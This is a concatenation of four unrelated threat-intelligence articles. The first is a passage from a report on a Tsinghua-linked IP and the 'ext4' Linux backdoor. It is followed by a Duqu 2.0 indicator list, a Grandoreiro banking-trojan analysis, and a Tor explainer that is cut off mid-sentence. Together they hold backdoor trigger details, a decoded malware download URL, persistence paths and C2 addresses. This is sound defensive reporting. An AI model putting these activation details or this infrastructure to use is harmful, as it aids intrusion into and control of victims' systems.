discussed strategic cooperation between enterprises and research institutes to serve the development of the country. In the 1999 Select Committee on U.S. National Security and Military/Commercial Concerns with the PRC (the so-called “Cox Report”), CITIC was linked to PLA covert operations and the theft of sensitive U.S. technology. The Cox Report also cited an attempt in 1990 by CITIC to acquire a U.S. aircraft parts manufacturer on behalf of the PLA in order to access U.S. export-controlled aerospace technology. Further, CITIC’s former chairman, Wang Zhen, was involved in the 1996 Poly Technologies indictment stemming from the company’s attempt to smuggle 2,000 Chinese AK-47 assault rifles into the United States. Tsinghua’s Institute of Information Systems and Engineering is also openly affiliated with China’s National 863 and 973 programs. The 863 Program, also known as the State High-Tech Development Plan, focuses on developing national capabilities within China’s key technological industries, while the 973 Program, first established in 1997, focuses on developing the basic technologies required to achieve technological superiority in the key industries. Both programs have had the effect of making it easier for China to steal intellectual property in order to achieve program goals. In the past 10 years, a number of Chinese state-sponsored cyber threat actors have been identified conducting widespread cyberespionage directly reflecting China’s policy directives to gain scientific, technical, and economic advantage in key strategic industries. This activity can be observed most recently in operations by APT10 targeting managed IT service providers and APT17, which conducted massive supply chain attacks against the popular software product CCleaner in 2017. ## Threat Analysis Recorded Future discovered the presence of the “ext4” backdoor during our ongoing research into the targeting of the Tibetan community. This backdoor was configured to run on a Linux web server running CentOS and was stealthily designed to be embedded within a system file. The backdoor was mostly inactive other than during a three-minute window every hour when it would activate and accept incoming connections on TCP port 443. In total, Recorded Future’s unique coverage enabled us to observe 23 attempted connections to the same compromised CentOS server between May and June 2018. Every attempt originated from the same IP, 166.111.8[.]246, which resolved to the China Education and Research Network Center. WHOIS records reveal that the IP sits within a large /16 CIDR range registered to an address at “Tsinghua University.” A unique selection of options in the TCP header, set at the maximum possible segment size of 60 bytes, were observed in every packet that attempted to connect to the Tibetan network from the Tsinghua IP. The “ext4” code appears to be unique, with no prominent traces online for code or naming similarity. Aside from our submission, no uploads of a backdoor resembling the key characteristics of “ext4” were observed in leading multi-scanner repositories as of August 3, 2018. A detection ratio of 0/58 in VirusTotal confirmed that the “ext4” sample we discovered was a new and unique backdoor targeting the Tibetan community. ## Tsinghua University IP 166.111.8[.]246 This IP was first observed in Recorded Future on March 23, 2018, and resolved to the Chinese Education and Research Network Center (CERNET), according to several IP enrichment sources. CERNET is one of China’s six major backbone networks and is a catchall organization serving a large swath of addressable IP space reserved for Chinese academic and research institutes. As noted previously, WHOIS records confirm the IP sits within a range registered to “Tsinghua University.” Available port scan data revealed that the IP is currently configured with several actively running services, including PPTP (TCP port 1723), MySQL (3306), and MAMP (8888), as well as the more common OpenSSH (22), HTTP (80, 8080, 8008), SSL (443, 8443, 9443), and VPN IKE (500) services, among others. The HTTP ports appeared to be configured as NGINX web servers, likely as reverse proxies or load balancers, given the nature of the activity we have observed from this IP. The large number of open ports and associated services indicate that the Tsinghua IP may be an internet gateway or VPN endpoint. Recorded Future enrichments of the IP show that it has been the source of scanning, brute-force attacks, and active exploitation attempts in the past. It has triggered several risk rules, including being flagged by the Taichung City Education Bureau in Taiwan, which tracks Chinese-originating malicious cyber indicators, and appears in an AlienVault blacklist. Metadata analysis of the IP further indicates that it is likely a gateway, NAT, or proxy, and that the true originating machine for this activity lies behind this IP. The same IP address was also observed conducting large-scale network reconnaissance of organizations that were engaged in key trade discussions with Chinese state-owned entities at the time. We believe these reconnaissance activities were not coincidental as they align broadly with China’s strategic and economic interests. ## “Opportunity Alaska” Between April 6 and June 24, 2018, we observed over one million IP connections between the Tsinghua IP and several networks in Alaska including: - The Alaska Communications Systems Group - Alaska Department of Natural Resources - Alaska Power & Telephone Company - State of Alaska Government - TelAlaska The vast number of connections between the Tsinghua IP and the above organizations relate to the bulk scanning of ports 22, 53, 80, 139, 443, 769, and 2816 on the Alaskan networks and were likely conducted to ascertain vulnerabilities and gain illegitimate access. The scanning activity was conducted in a systematic manner with entire IP ranges dedicated to the organizations probed for the above ports. This targeting of the State of Alaska Government followed Alaska’s large trade mission into China dubbed “Opportunity Alaska.” This trade mission occurred in late May and was led by Bill Walker, governor of Alaska. During these talks, one of the highest-profile discussions occurred around the prospect of a gas pipeline between Alaska and China. Despite fears of a China-U.S. trade war, Gov. Walker’s office stated that the trade mission “represented some of the best Alaska has to offer, and... [highlighted] the wide scope of our shared interests with our largest trade partner.” Opportunity Alaska consisted of delegates from Alaskan businesses in the fishing, tourism, architecture, and investment industries, and made stops in Beijing, Shanghai, and Chengdu. Recorded Future first observed the scanning activity against Alaskan networks in late March, only a few weeks after Gov. Walker announced a trade delegation to China. The activity picked up for a few days prior to the delegation arriving on May 20, 2018, and dropped off as the delegation arrived. Probing of the Alaskan networks remained at low levels until May 28 as the delegation concluded its activities, then ramped up considerably as delegates left China. The spike in scanning activity at the conclusion of trade discussions on related topics indicates that the activity was likely an attempt to gain insight into the Alaskan perspective on the trip and strategic advantage in the post-visit negotiations. There was a further surge in interest between June 20 and June 24 against the State of Alaska and Alaska Department of Natural Resources networks. This was possibly in response to Gov. Walker announcing on June 19 that he intended to visit Washington, D.C. to meet U.S. and Chinese officials to raise his concerns on the growing trade dispute between the two nations. ## The “Belt and Road Initiative” and China’s Economic Goals During the course of our research, we also observed the Tsinghua IP scan ports and probe government departments and commercial entities networks in Mongolia, Kenya, and Brazil. Each of these countries are key investment destinations as part of China’s Belt and Road Initiative. China’s Belt and Road Initiative (BRI) is one of President Xi Jinping’s most ambitious programs. Envisaged to project China’s transformative geopolitical influence across the world, the scale and scope of the project is unprecedented. Beijing has committed $4 trillion in investment to infrastructure and development projects in 65 countries, affecting 70 percent of the world’s population and 75 percent of the world’s energy reserves. The scheme is designed to connect major economic centers in Eurasia together over land and sea, many of which historically served the ancient Silk Road two thousand years ago. According to The Diplomat, “the BRI aims to stabilize China’s western peripheries, rekindle its economy, propel non-Western international economic institutions, gain influence in other countries, and diversify trade suppliers/routes while circumventing the U.S. pivot to Asia.” The BRI also aims to further strengthen China’s geopolitical and economic influence in Africa, capitalizing on significant infrastructure investments made across the continent. Kenya in particular has commanded increased attention due to its strategic geographical advantage in China’s Maritime Silk Road Initiative (MSRI) — the sea-based component of China’s BRI initiative. Earlier this year, Kenya announced that it would be lobbying for regional projects under the BRI. China has already funded a 480-kilometer railway between the Kenyan port city of Mombasa and its capital, Nairobi; the railway is eventually expected to extend to neighboring countries Uganda, Rwanda, and Burundi as well. However, in May 2018, Kenya announced that it would not sign a free trade deal with China that had been under discussion with East African Community (EAC) states, raising tensions between Beijing and Nairobi. In early June 2018, we observed the Tsinghua IP address aggressively scanning ports 22, 53, 80, 389, and 443 of various Kenyan internet-hosting providers and telecommunications companies, as well as ranges dedicated to the Kenya Ports Authority, a state corporation responsible for the maintenance and operation of all of Kenya’s seaports. Recorded Future also identified network reconnaissance activities directed at the United Nations Office in Nairobi, Kenya’s Strathmore University, and a broader national education network. This chart below shows a clear spike in network reconnaissance activity against Kenyan organizations from the Tsinghua IP. This spike occurred merely two weeks after Kenya announced its intentions not to support the China-EAC free trade agreement. In April of this year, President Xi added Brazil to the list of countries receiving Chinese investment in infrastructure from the BRI. Funding for a new $520 million port in the northeastern state of Maranhão was announced, building on the extensive 2016 Chinese investment into the education and energy sectors in another Brazilian state, Amapá. Our research uncovered repeated attempts from the Tsinghua IP to connect to the Ministério Público do Estado Do Amapá in Brazil between April 2 and June 11, 2018, just one month after Beijing-based China Communications Construction Co. began construction on the Maranhão port. We also observed repeated attempts to connect to organizational networks such as the National Data Center Building in Mongolia and the Mongolian University of Science and Technology between April 6 and April 12, 2018. Mongolia also plays a vital role in China’s BRI plans; the overland component of the BRI, known as the Silk Road Economic Belt (SREB), proposes a new Eurasia land bridge and no less than five new economic corridors, including a China-Mongolia-Russia corridor. We assess with medium confidence that the consistent reconnaissance activity observed from the Tsinghua IP probing networks in Kenya, Brazil, and Mongolia aligns closely with the BRI economic development goals, demonstrating that the threat actor using this IP is engaged in cyberespionage on behalf of the Chinese state. ## The Impact of Growing U.S. and China Trade Tensions On June 20, 2018, German multinational automotive corporation Daimler AG was the first prominent company to cut its profit outlook due to the escalating trade tensions between the U.S. and China. The next day, on June 21, we observed network reconnaissance activity specifically targeting ports 139, 22, 443, and 53 on networks resolving to Daimler AG. The probes originated from the same Tsinghua University IP. ## Interaction With U.S. Managed Hotel Network Solutions Provider A Shodan query on the Tsinghua IP returned an HTTP 302 response serving a “snap.safetynetaccess.com” redirection notice. Based in Needham, Massachusetts, Safety NetAccess builds wireless networks for hotels, resorts, and other public properties; some of its customers include Hilton, Marriott, Sonesta, and Wyndham hotel chains. According to the Safety NetAccess website, SNAP is its “advanced back-end software program” which provides Safety NetAccess’s agents “direct access to any and all managed equipment at any location.” While the fields within the redirection notice may look obscure, they correspond to portal page parameters for Nomadix Internet Gateways — Safety NetAccess’s primary gateway and routing equipment provider. The HTTP header response showed that the Cox Communications IP 98.180.88[.]145 was originally requested by the “subscriber” (SIP), the Tsinghua IP 166.111.8[.]246. Navigating to the Cox Communications IP redirects users to a Safety NetAccess guest internet portal at a Holiday Inn hotel based in Ocala, Florida. Breaking down the URL in the “Location” field in the HTTP response gives us the MAC address of the Tsinghua device (00:13:5F:07:87:D9), and the IP address of the Nomadix device (68.105.161[.]74). The UIP resolves to Cox Communications in Ocala, Florida, and open-source research indicates that the device hosting this UIP is an AG 3100 Nomadix rack-mounted internet gateway, supporting DNS and HTTP redirection using a magic IP. This UIP also appears to be running a vulnerable WindWeb server on port 443. Shodan results show failed FTP login attempts to the internet gateway, as well as Telnet events. From the limited data available to us, we assess with low confidence that the Tsinghua IP was attempting to leverage the remote administrative access controls enabled by Safety NetAccess’s SNAP portal for the Holiday Inn hotel in Florida. ## Is the “ext4” Backdoor Associated With the Tsinghua IP? The discovery of the “ext4” backdoor on a Tibetan device enabled us to identify the wider targeting of the device from the Tsinghua University IP. However, none of the attempted connections to the Tibetan device from the Tsinghua IP resulted in the successful activation of the backdoor, leaving it unclear whether the threat actors behind the widespread network recon activities were also responsible for the “ext4” backdoor. That leaves us with two possible scenarios explaining the involvement of the “ext4” backdoor on a Tibetan network with the Tsinghua IP: - The Tsinghua IP is being used by a threat actor to access the “ext4” backdoor, but a technical fault or operator error is resulting in the misconfiguration of the TCP connection packets required to establish communication with the backdoor. - The Tsinghua IP is being used extensively to conduct network reconnaissance and cyberespionage against strategic economic and national interests, not only targeting countries that China is engaging with under BRI, but also targeting “Five Poisons” organizations, such as the Tibetan network. The “ext4” backdoor is therefore likely to belong to another threat actor not engaged in the network scanning activity against organizations outlined earlier in this report. ## Technical Analysis ### The “ext4” Backdoor “ext4” is a novel Linux backdoor that was present on the victim network during the same time that the Tsinghua IP reconnaissance activity was observed (May to June, 2018). In total, 23 attempts to connect to the victim device over TCP 443 were made from the Tsinghua IP during this period. The “ext4” backdoor was identified running within a legitimate system “cron” file on a compromised CentOS web server affiliated with the Tibetan community. An analysis of modified system files revealed that the “0anacron” “cron” file had been modified to execute a non-standard binary called “ext4” located in the /usr/bin/ext4 directory on the compromised server. The binary was configured to run hourly, and, interestingly, as a background process. This would suppress any output from appearing on the Linux terminal’s standard output, thus making it less detectable to the administrator of the web server. The “ext4” binary was relatively small at only 9511 bytes and was made up of simple functions. It was dynamically linked to the libpcap library, which is present on Unix systems to allow the capturing of packets (pcap files) typically used by “network sniffers.” There were three primary functions that drive the operation of the backdoor: “main,” “process,” and “my_pcap_handler.” All of these functions flow together to perform the main functionality of the backdoor. ### Main Function The main function performed three central tasks: to remove the file “tmp/0baaf161db39,” to create a child process that executes the backdoor functionality, and to set a sleep timer of 180 seconds. The process is terminated when the sleep timer limit is reached. Additionally, the main function also checked the command line arguments to determine which network interface to monitor on the compromised network. By default, “ext4” used “eth0.” ### Process Function The main purpose of the process function was to create a handle to capture network traffic, which was done by use of the libpcap function, “pcap_open_live.” ### “my_packet_handler” Function All packets sent to a specified network interface were received by the “my_packet_handler” function. The handler then parsed the Ethernet, IP, and TCP headers to perform a series of checks to validate if it is a packet that it is meant to process. Once validated, the function decoded the payload, which would typically be a command fed to a bash shell on the compromised CentOS host. The below steps demonstrate the parsing and validation criteria the function used to ensure that it processed the correct packets. If at any point the function receives unexpected results, the packet is dropped from the function and the next one is processed. - Check the ethernet header to ensure the type is IP (Type 2048). - IP header length is parsed from the IP header. - Parse the IP header to ensure the protocol is TCP (Type 6). - Parse the TCP header to ensure the destination port is 443. - Find the data offset or the start of the payload. - Check that the TCP flags equal 322, which equates to the following flags being set: NS (Nonce Sum), ECE (ECN-Echo), and SYN. The breakdown of the flags is important, as it looks for the SYN and ECE to be set, as well as the NS flag. The NS flag is used to protect against accidental or malicious concealment of marked packets from the TCP sender. The ECE flag is responsible for indicating if the TCP peer is Explicit Congestion Notification (ECN) compatible. ECN is an optional extension to TCP that prevents packets being dropped due to congestion. While the use of ECN can be normal in larger enterprises with ECN-capable routers, the use of the NS bit seems to be experimental and is not officially used in any TCP implementations. If a packet passes all of the criteria, the function gets the length of the payload and checks that it is between five and 1024 bytes. After that, it allocates memory and then saves the payload into memory. The payload is XOR-encoded, and the first byte of the payload is the XOR key. The function will use the first byte of payload to decode the next five bytes and check to see if they equal the string “anti:.” ## Outlook China continues to use cyber operations to monitor and track threats to domestic stability, neatly summarized as the “Five Poisons.” This focus on domestic threats enables security researchers to identify new campaigns and tools being aggressively used against persecuted communities. “ext4” is a sophisticated lightweight Linux backdoor designed to enable the threat actor to access the compromised device and conduct further malicious activity. It is also an example of a tool probably being used by Chinese nation-state actors to target the Tibetan community. Further, the widespread use of CentOS servers, many of which are unpatched and used in production systems, highlights the breadth of the potential attack surface. China’s Belt and Road Initiative and its long-term investment in African infrastructure has enabled China to wield massive influence in those countries targeted by these policies. We assess with medium confidence that the widespread network reconnaissance activities emanating from Tsinghua University infrastructure and targeting economic interests in Kenya, Mongolia, and Brazil are state directed. China has repeatedly conducted cyberespionage in support of its national economic interests. In November 2017, the DOJ indicted three Chinese hackers found guilty of economic cyberespionage. Further, in its recent report on Foreign Economic Espionage in Cyberspace, the U.S. National Counterintelligence and Security Center highlighted Chinese threat actors APT10, KeyBoy, and Temp.Periscope as having conducted extensive cyberespionage in support of strategic national and economic benefit. Other than the discovery of the “ext4” backdoor targeting the Tibetan community, we have not identified the presence of malware in any of the documented organizations in this report, as the bulk of our analysis was based on third-party metadata. However, we assess with medium confidence that the targeted scanning and probing of networks during the timeframe of bilateral trade and strategic dialogue between China and its Alaskan, Kenyan, Brazilian, and Mongolian counterparts indicates the activity is being conducted by a threat actor (or multiple threat actors with access to the same Tsinghua endpoint) directed by the Chinese state. ## Network Defense Recommendations Recorded Future recommends organizations conduct the following measures when defending against hostile network reconnaissance and the potential deployment of a CentOS backdoor from the Chinese threat actor detailed in this report: - Configure your intrusion detection systems (IDS) and intrusion prevention systems (IPS) to alert and block connection attempts from Tsinghua University IP 166.111.8[.]246. - Using the provided Yara rule for the “ext4” backdoor, conduct scans of any Linux hosts on networks for presence of the backdoor. - If applicable, ensure the “ext4” Yara rule is deployed to the endpoint protection appliance used in your organization. Scan Linux hosts for the presence of the “/usr/bin/ext4” and “/tmp/0baaf161db39” files. Additionally, we advise organizations to follow the following general information security best practice guidelines: - Keep all software and applications up to date; in particular, operating systems, antivirus software, and core system utilities. - Filter email correspondence and scrutinize attachments for malware. - Make regular backups of your system and store the backups offline, preferably off-site so that data cannot be accessed via the network. - Have a well-thought-out incident response and communications plan. - Adhere to strict compartmentalization of company-sensitive data. In particular, look at which data anyone with access to an employee account or device would have access to (for example, through device or account takeover through phishing). Strongly consider instituting role-based access, limiting company-wide data access, and restricting access to sensitive data. - Employ host-based controls — one of the best defenses and warning signals to thwart attacks is to conduct client-based host logging and intrusion detection capabilities. - Implement basic incident response and detection deployments and controls like network IDS, netflow collection, host logging, and web proxy, alongside human monitoring of detection sources. - Be aware of partner or supply chain security standards. Being able to monitor and enforce security standards for ecosystem partners is an important part of any organization’s security posture.
# The Mystery of Duqu 2.0: A Sophisticated Cyberespionage Actor Returns **APT reports** **10 Jun 2015** **minute read** Earlier this year, during a security sweep, Kaspersky Lab detected a cyber-intrusion affecting several of our internal systems. Following this finding, we launched a large-scale investigation, which led to the discovery of a new malware platform from one of the most skilled, mysterious, and powerful groups in the APT world – Duqu. The Duqu threat actor went dark in 2012 and was believed to have stopped working on this project – until now. Our technical analysis indicates the new round of attacks includes an updated version of the infamous 2011 Duqu malware, sometimes referred to as the stepbrother of Stuxnet. We named this new malware and its associated platform “Duqu 2.0”. Some of the new 2014-2015 Duqu infections are linked to the P5+1 events and venues related to the negotiations with Iran about a nuclear deal. The threat actor behind Duqu appears to have launched attacks at the venues for some of these high-level talks. In addition to the P5+1 events, the Duqu 2.0 group has launched a similar attack in relation to the 70th anniversary event of the liberation of Auschwitz-Birkenau. In the case of Kaspersky Lab, the attack took advantage of a zero-day in the Windows Kernel, and possibly up to two other, currently patched vulnerabilities, which were zero-day at that time. The analysis of the attack revealed that the main goal of the attackers was to spy on Kaspersky Lab technologies, ongoing research, and internal processes. No interference with processes or systems was detected. More details can be found in our technical paper. From a threat actor point of view, the decision to target a world-class security company must be quite difficult. On one hand, it almost surely means the attack will be exposed – it’s very unlikely that the attack will go unnoticed. So the targeting of security companies indicates that either they are very confident they won’t get caught, or perhaps they don’t care much if they are discovered and exposed. By targeting Kaspersky Lab, the Duqu attackers probably took a huge bet hoping they’d remain undiscovered; and lost. At Kaspersky Lab, we strongly believe in transparency, which is why we are going public with this information. Kaspersky Lab is confident that its clients and partners are safe and that there is no impact on the company’s products, technologies, and services. ## Duqu 2.0 – Indicators of Compromise (IOCs) **MD5s** **Action loaders:** 089a14f69a31ea5e9a5b375dc0c46e45 16ed790940a701c813e0943b5a27c6c1 26c48a03a5f3218b4a10f2d3d9420b97 a6dcae1c11c0d4dd146937368050f655 acbf2d1f8a419528814b2efa9284ea8b c04724afdb6063b640499b52623f09b5 e8eaec1f021a564b82b824af1dbe6c4d 10e16e36fe459f6f2899a8cea1303f06 48fb0166c5e2248b665f480deac9f5e1 520cd9ee4395ee85ccbe073a00649602 7699d7e0c7d6b2822992ad485caacb3e 84c2e7ff26e6dd500ec007d6d5d2255e 856752482c29bd93a5c2b62ff50df2f0 85f5feeed15b75cacb63f9935331cf4e 8783ac3cc0168ebaef9c448fbe7e937f 966953034b7d7501906d8b4cd3f90f6b a14a6fb62d7efc114b99138a80b6dc7d a6b2ac3ee683be6fbbbab0fa12d88f73 cc68fcc0a4fab798763632f9515b3f92 **Cores:** 3f52ea949f2bd98f1e6ee4ea1320e80d c7c647a14cb1b8bc141b089775130834 **C&C IPs** 182.253.220.29 186.226.56.103 To check your network for Duqu’s 2.0 presence, you can also use the open IOC file available. **APT** **Cyber espionage** **Duqu** **Malware** **Nation State Sponsored Espionage** **Targeted attacks**
# The Updated Grandoreiro Malware Equipped with Latenbot-C2 Features in Q2 2020 Now Extended to Portuguese Banks The updated Grandoreiro Malware equipped with latenbot-C2 features in Q2 2020 now extended to Portuguese banks. Grandoreiro is a Latin American banking trojan targeting Brazil, Mexico, Spain, Peru, and has now extended to Portugal. Cybercriminals attempt to compromise computers to generate revenue by exfiltrating information from victims’ devices, typically banking-related information. During April and May 2020, a new Grandoreiro variant was identified. This piece of malware includes improvements in the way it is operating. The threat has been disseminating via malscam campaigns, as in the past, and the name of the victim is used as a part of the malicious attachment name. The attached file is an HTML document that downloads the Grandoreiro’s 1st stage – a VBScript file (VBS). After that, an ISO file is downloaded from the online server, according to the target country and campaign. During this investigation, several samples were found online, specifically grouped by campaigns and countries. The malware modus operandi is very similar to old samples; however, this new variant brings some improvements to how it is communicating with the C2 server. After analyzing it, similarities with latenbot-C2 traffic were identified. Grandoreiro operators probably are including Latenbot botnet modules as a way of improving communication between C2 and infected hosts – creating a kind of Grandoreiro botnet. The malware is capable of collecting banking details from victims’ devices, getting total control of the OS, rebooting, lockdown, windows overlay, keylogger capabilities, and performing browser interaction. ## Technical Analysis The Grandoreiro malware has been distributed via malscan campaigns around the globe during Q2 2020. As can be observed during this publication, new features have been added to the new samples, including latenbot-C2 features, and the scope of malware was now extended to Portuguese banks. As observed below, after submitting the sample into VirusTotal, it was classified as a variant of Grandoreiro trojan, as some changes were performed by crooks to improve this piece of malware. This specific sample was distributed via a VBScript file, one of the different chains of Grandoreiro. The malware has been distributed during April and May 2020 and has affected Portuguese users. One of the last analyzed samples (2020-05-21) is scrutinized below. ### Grandoreiro VBS File – First Stage (Portugal May 2020) - **Filename:** Torrentz5B88BC75AD1DA330A74FFA2ED717DB0B3AE71CCC.vbs - **MD5:** 8491a619dc6e182437bd4482d6e97e3a - **SHA1:** 46d601a56103bf0a623d1c937eab41d8772de644 At first glance, the VBS file seems obfuscated; nonetheless, some details can be extracted such as the encoded string with the URL where the next stage is downloaded and the place where it will be executed on the target machine. The following piece of code can be used to decode the strings hardcoded in the VBS file. The decoded string is a URL pointing to a website where several samples of Grandoreiro are available. The samples are downloaded depending on the initial stage and the target country. - **Encoded string:** cipher="bnnj4))+3,(,-0(+.1(+**4+3/*)Cho`nolcifm(cmi" - **Decoded string:** http://192.236.147.100:1950/Inufturiols.iso The Grandoreiro samples available on this server online were often changed by criminals as a way of bypassing AV’s detections. Based on metrics from May 20th, 1771 users were potentially infected or executed the Grandoreiro 1st stage (VBS file). The sample distributed in Portugal was downloaded 224 times (Inufturiols.iso). The sample was available for download between 2020-05-18 and 2020-05-22. An interesting point is that one day after data collection, on 2020/05/21, most of the samples were removed from the server by the malware operators, but the sample targeting Portugal was kept available for the next days. The threats available on the server are the same, but different samples were created by Grandoreiro operators. The samples were grouped by countries or campaigns. The ISO files have a size range of 4MB to 7MB which is an unusual file size for image files. These files are an archive file that contains all the information that would be written to an optical disc. The malware is inside them and is dropped when the file is executed. Digging into the details, when the VBS file (1st stage) is executed on the victim’s machine, the ISO file is downloaded from the server online. Next, the folder “\nvreadmm” is created on the AppData\Roaming directory, and the zip file with the malware inside is dropped. When the download is done, the unzip process starts. The PE file (Grandoreiro trojan malware) is extracted into the same folder and executed. ### Grandoreiro – Final Payload (Portugal May 2020) - **Filename:** Inufturiols.exe - **MD5:** 1f861de0794cd020072150db618da154 - **SHA1:** c3f70025857ac7eca467412d35f17fc5ec10f659 The final payload is a PE file written in Delphi – a Latin American banking trojan. According to ESET, “Grandoreiro has been active at least since 2017 targeting Brazil and Peru, expanding to Mexico and Spain in 2019.” The malware scope was extended also to Portugal now, with several Portuguese banks included in the malware operations. A complete list of the targeted banking organizations can be found below (Grandoreiro May 2020): - Cecabank - Natwest - SantanderUK - HSBCUK - Barclays - BICE - Ripley - Bci - Chile - BancoEstado - Falabella - Itaú - Santander - Scotiabank - PT_1 As already documented by ESET, the malware has a set of capabilities: - Manipulating windows - Updating itself - Capturing keystrokes - Simulating mouse and keyboard actions - Navigating the victim’s browser to a chosen URL - Logging the victim out or restarting the machine - Blocking access to chosen websites In detail, the malware performs its tasks according to the OS installed on the infected device. Several Windows OS target versions can be found inside the malware, namely: - Windows 10 Home - Windows 8 - Windows 10 - Windows Server Grandoreiro is a piece of malware that has evolved over time. It has capabilities to interact with the infected machine, receiving commands from C2, and executes them inside the machine as a simple botnet. The malware persistence is achieved via a registry key on Windows\CurrentVersion: - **HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run** - **Value:** C:\Users\root\AppData\Roaming\nvreadmm\Inufturiols.exe An interesting detail in this variant is the C2 communication. The C2 IP address can be identified below, where also the name “DANILO” is visible. Inside the malware and based on the web traffic analysis, it’s possible to see similarities with latenbot C2-traffic. Grandoreiro operators probably are including Latenbot botnet modules as a way of improving communication between C2 and infected hosts – the creation of a kind of Grandoreiro botnet. ### Grandoreiro PE File Padding As observed in ESET analysis, “the vast majority of Grandoreiro samples utilize a very interesting application of the binary padding technique. This technique is all about making the binaries large and we have seen it being used even by more sophisticated malware.” The samples analyzed in May 2020 that target Portuguese users used the technique previously described. During May 2020, it was observed that many phishing emails targeting Portuguese users were disseminated via a spam tool called: Leaf PHPMailer 2.8. Crooks compromise several servers and are using tools like this to send malicious emails to a large group of users. Finally, the malware server online with the ISO files, spam tool, and C2 were decommissioned at the moment of writing this publication. ## Indicators of Compromise (IOCs) - **VBS file (1st stage):** - **Filename:** Torrentz5B88BC75AD1DA330A74FFA2ED717DB0B3AE71CCC.vbs - **MD5:** 8491a619dc6e182437bd4482d6e97e3a - **2nd stage ISO file:** - **URL:** http://192.236.147.100:1950/Inufturiols.iso - **Final payload:** - **Filename:** Inufturiols.exe - **MD5:** 1f861de0794cd020072150db618da154 - **SHA1:** c3f70025857ac7eca467412d35f17fc5ec10f659 - **C2-web-traffic:** - 104.168.190.164 Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
# Tor 101: How Tor Works and its Risks to the Enterprise **By Janos Szurdi** **August 29, 2022** ## Executive Summary The Tor project provides one of the most well-known tools that users can leverage to stay anonymous on the internet. People use Tor for many different reasons, both benign and malicious. However, allowing Tor traffic on enterprise networks opens the door to a variety of potential abuses and security risks. Political activists use Tor to express their views while staying out of sight of their governments. Cybercriminals use Tor to evade defenses and hide their identity from law enforcement. Tor is famous for enabling the operation of dark web marketplaces, such as Silk Road, where customers could procure a wide range of illicit goods, including drugs, weapons, and fake identification documents. Malware authors regularly use Tor for denial-of-service (DoS) attacks, hidden reconnaissance, exploitation, command and control communication, and data exfiltration. For enterprises concerned about the risks of Tor traffic, the use of Tor for malware, command and control, exfiltration, and hidden reconnaissance are some of the most important security risks. Employees can use Tor to bypass content blocking policies (e.g., blocking of adult or gambling sites) such as those provided by the Palo Alto Networks DNS Security and Advanced URL Filtering services. Users can also elude geographic restrictions of services or buy illicit goods unchecked using Tor. To avoid these risks, we advise the blocking of Tor in enterprise networks. Emphasizing the importance of monitoring or blocking Tor traffic in the enterprise, we observed 6,617,473 sessions to or from 691 devices within 204 customer networks in one month. Palo Alto Networks provides two solutions as part of Threat Prevention that are best used together to filter Tor traffic. We maintain a verified and built-in Tor Exit IP External Dynamic List that our customers can use to block connections from Tor Exit nodes. Customers can also leverage the Palo Alto Networks traffic classification system App-ID to block incoming and outgoing Tor traffic. Additionally, customers can utilize Cortex XDR to alert on and respond to Tor-related threats on endpoints, in the network, or in the cloud. ## What Is Tor? The goal of the Tor network is to provide a tool to internet users for anonymous communication. Tor stands for The Onion Router, which is the software that enables Tor nodes to participate in onion routing. Onion routing is a technique allowing anonymous communication. Anonymity on the internet means that no one can connect a user's actions and identity. For example, anonymous communication would mean that when a user connects to a server hosting a forum and makes a public post with a made-up username, neither a global observer, the forum operators, nor other users should be able to tell the user's true identity based on these actions. To better understand how hard it is to stay anonymous, let us introduce the imaginary country of lemons ruled by the tyrant Lemonheads, where it is frowned upon to like or discuss oranges. Emilia, our heroine, is part of a small rebellious group that loves oranges. To discuss her passion with others, she would like to visit a site called peel-the-orange.com. One of Emilia's friends, Bob, always used to connect to peel-the-orange.com without using any anonymity-enhancing technology. Bob told Emilia that his traffic is encrypted since he connects using HTTPS, so no one can read what he is doing. Unfortunately for Bob, HTTPS does not encrypt the DNS name, peel-the-orange.com, so the lemon secret police could easily tell that he was visiting a site for orange enthusiasts. Therefore, he ended up on the bad lemons list. After that, everyone in their group became more cautious. Emilia's other friends started using a foreign VPN provider to funnel their traffic through the VPN server and hide their identities. This effort truly made it hard for the lemon police to find out who is connecting to forbidden sites. Jess, another friend of Emilia, was high on the Lemonheads’ list of suspected orange sympathizers. Observing Jess’s traffic, it became clear to the secret lemon police that she is frequently connecting to a known VPN provider. While the VPN provider helped Jess protect her identity, it proved to be a single point of failure. A VPN provider can be bribed, threatened, or hacked, which are the favorite methods of the Lemonheads. More advanced adversaries (such as the lemon secret police) could employ correlation attacks based on statistical methods to match incoming and outgoing traffic to and from the VPN servers. The lemon secret police initiated “Operation Super Sour” by compromising several servers of the VPN provider and stealing the complete list of all lemon citizens visiting peel-the-orange.com. As a result, many of Emilia's friends, including Jess, ended up on the bad lemons list. Furthermore, the lemon government started censoring connections to known foreign VPN server IP addresses to stop the dissidents’ decadent love for oranges. Emilia became very careful after that last incident. She looked for a solution that would keep her safe, even if the lemon secret police could compromise the proxy/VPN servers she used. Additionally, she wanted to ensure that even peel-the-orange.com would not know her identity if someone infiltrated their server. She soon found Tor, which seemed like it could help her stay anonymous. However, Emilia soon discovered that even this wasn’t foolproof. She told a few acquaintances about Tor, but the lemon secret police were able to identify one of them, Gordon, because he shared his nickname Orange Cake across different sites. Luckily, Emilia only used her pseudonym Orange Girl on peel-the-orange.com. ## How Tor Works on a High Level At first, we assume that Emilia already has a Tor circuit built, meaning that her computer already selected three Tor nodes (servers running Tor software) to relay messages and obtained a shared key with each of them. Emilia’s computer first encrypts the private data in three layers, hence the name onion routing. Her computer encrypts the data in reverse order: first with the key of the last exit node, then with the middle relay node’s key, and finally with the guard node’s key. The guard node receives the data, removes the outermost layer of encryption, and sends the decrypted message to the relay node. The middle node removes the next layer and relays it to the exit node. Finally, the exit node decrypts the message and sends the original data to the web server (in this example, peel-the-orange.com). The layered encryption enables secrecy and limits knowledge about who is involved in the communication as only the nodes that know the keys can decrypt the messages. Messages on the way back to Emilia are passed back in a similar fashion, each node adding a layer of encryption using the key shared with Emilia. When Emilia uses Tor, the Lemonheads can only observe her connection to the entry node. Even if they have complete global visibility of the messages passed, it becomes hard for them to track Emilia’s messages as they get mixed in with all Tor users’ traffic, and the layer of encryption changes every time the message is passed to another node. If Emilia were to use a single VPN provider, it would know what sites Emilia visits. Additionally, the Lemonheads could observe incoming and outgoing messages from the VPN server and possibly determine which sites Emilia is visiting. A curious question is: How can Emilia share keys with Tor nodes without revealing her identity? Solving this problem is a two-part puzzle. First, how can two nodes 